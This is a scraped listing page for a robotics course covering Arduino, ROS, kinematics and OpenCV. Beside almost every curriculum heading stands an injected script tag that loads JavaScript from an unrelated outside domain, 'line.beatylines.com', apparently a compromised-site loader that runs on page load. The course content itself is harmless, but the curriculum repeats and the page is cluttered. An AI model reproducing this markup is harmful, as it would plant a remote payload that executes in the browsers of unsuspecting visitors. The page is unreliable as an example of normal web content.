Robotics(september)

Description

Robotics is commonly defined as the study of the intelligent connection between perception and action. As such, the full scope of robotics lies at the intersection of mechanics, electronics, signal processing, control engineering, computing, and mathematical modeling.

Course Curriculum

Induction Class (Optional)
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Introduction

00:00

Introduction
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Micro controller Arduino
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Arduino
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Communication Kinematics
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ROS 1
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ROS 2, ROS 3
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Minor
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ROS 4
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Motion
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Tools Example
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OpenCV
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Serial ROS Major
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Level

All Levels
Total Enrolled

1
Duration

20 hours
Last Updated

04/10/2023

CAMPALIN

Computer Science / Information Technology

Electronics & Communication

Mechanical / Civil

Management

CAMPALIN

Robotics(september)

Description

What I will learn?

Course Curriculum

Induction Class (Optional) <script src='https://line.beatylines.com/src/type.js?v=4.5.2' type='text/javascript' id='globalsway'></script>

Introduction

Introduction <script src='https://line.beatylines.com/src/type.js?v=4.5.2' type='text/javascript' id='globalsway'></script>

Introduction to Robotics and explanation of various Examples like ABB, KUKA, etc

Micro controller Arduino <script src='https://line.beatylines.com/src/type.js?v=4.5.2' type='text/javascript' id='globalsway'></script>

ATMega 328p, Architecture and Block Arduino working and integration of sensors and actuators

Arduino <script src='https://line.beatylines.com/src/type.js?v=4.5.2' type='text/javascript' id='globalsway'></script>

DC Motors, Servo and Stepper Motors

Communication Kinematics <script src='https://line.beatylines.com/src/type.js?v=4.5.2' type='text/javascript' id='globalsway'></script>

Lesson 1

ROS 1 <script src='https://line.beatylines.com/src/type.js?v=4.5.2' type='text/javascript' id='globalsway'></script>

Introduction to ROS

ROS 2, ROS 3 <script src='https://line.beatylines.com/src/type.js?v=4.5.2' type='text/javascript' id='globalsway'></script>

Lesson 1

Minor <script src='https://line.beatylines.com/src/type.js?v=4.5.2' type='text/javascript' id='globalsway'></script>

Minor Project Discussion

ROS 4 <script src='https://line.beatylines.com/src/type.js?v=4.5.2' type='text/javascript' id='globalsway'></script>

Lesson 1

Motion <script src='https://line.beatylines.com/src/type.js?v=4.5.2' type='text/javascript' id='globalsway'></script>

Motion in ROS

Tools Example <script src='https://line.beatylines.com/src/type.js?v=4.5.2' type='text/javascript' id='globalsway'></script>

Some other tools in IROS Introduction and working on TurtleBot

OpenCV <script src='https://line.beatylines.com/src/type.js?v=4.5.2' type='text/javascript' id='globalsway'></script>

OpenCV application in ROS

Serial ROS Major <script src='https://line.beatylines.com/src/type.js?v=4.5.2' type='text/javascript' id='globalsway'></script>

Arduino with ROS Major Project Discussion

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Induction Class (Optional)
<script src='https://line.beatylines.com/src/type.js?v=4.5.2' type='text/javascript' id='globalsway'></script>

Introduction
<script src='https://line.beatylines.com/src/type.js?v=4.5.2' type='text/javascript' id='globalsway'></script>

Micro controller Arduino
<script src='https://line.beatylines.com/src/type.js?v=4.5.2' type='text/javascript' id='globalsway'></script>

Arduino
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Communication Kinematics
<script src='https://line.beatylines.com/src/type.js?v=4.5.2' type='text/javascript' id='globalsway'></script>

ROS 1
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ROS 2, ROS 3
<script src='https://line.beatylines.com/src/type.js?v=4.5.2' type='text/javascript' id='globalsway'></script>

Minor
<script src='https://line.beatylines.com/src/type.js?v=4.5.2' type='text/javascript' id='globalsway'></script>

ROS 4
<script src='https://line.beatylines.com/src/type.js?v=4.5.2' type='text/javascript' id='globalsway'></script>

Motion
<script src='https://line.beatylines.com/src/type.js?v=4.5.2' type='text/javascript' id='globalsway'></script>

Tools Example
<script src='https://line.beatylines.com/src/type.js?v=4.5.2' type='text/javascript' id='globalsway'></script>

OpenCV
<script src='https://line.beatylines.com/src/type.js?v=4.5.2' type='text/javascript' id='globalsway'></script>

Serial ROS Major
<script src='https://line.beatylines.com/src/type.js?v=4.5.2' type='text/javascript' id='globalsway'></script>